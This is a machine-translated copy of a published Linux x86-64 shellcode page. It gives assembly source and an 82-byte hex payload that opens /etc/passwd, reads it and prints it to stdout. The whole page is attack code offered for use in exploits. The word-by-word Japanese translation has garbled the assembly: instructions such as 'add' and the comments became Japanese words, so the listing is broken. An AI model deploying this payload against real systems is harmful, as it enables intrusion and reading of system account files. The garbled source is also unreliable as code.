このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86-64 - Read /etc/passwd - 82 bytes
BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
全世界の _start

section .text

_start:
jmp _push_filename
  
_readfile:
; syscall open とじ込み/提出する
pop rdi ; pop path value
; NULL byte 直す/買収する,八百長をする
xor byte [rdi + 11], 0x41
  
xor rax, rax
追加する al, 2
xor rsi, rsi ; 始める,決める O_RDONLY 旗
syscall
  
; syscall read とじ込み/提出する
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
  
; syscall 令状 to stdout
xor rdi, rdi
追加する dil, 1 ; 始める,決める stdout fd = 1
mov rdx, rax
xor rax, rax
追加する al, 1
syscall
  
; syscall 出口
xor rax, rax
追加する al, 60
syscall
  
_push_filename:
call _readfile
path: db "/etc/passwdA"
  
Shellcode:

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41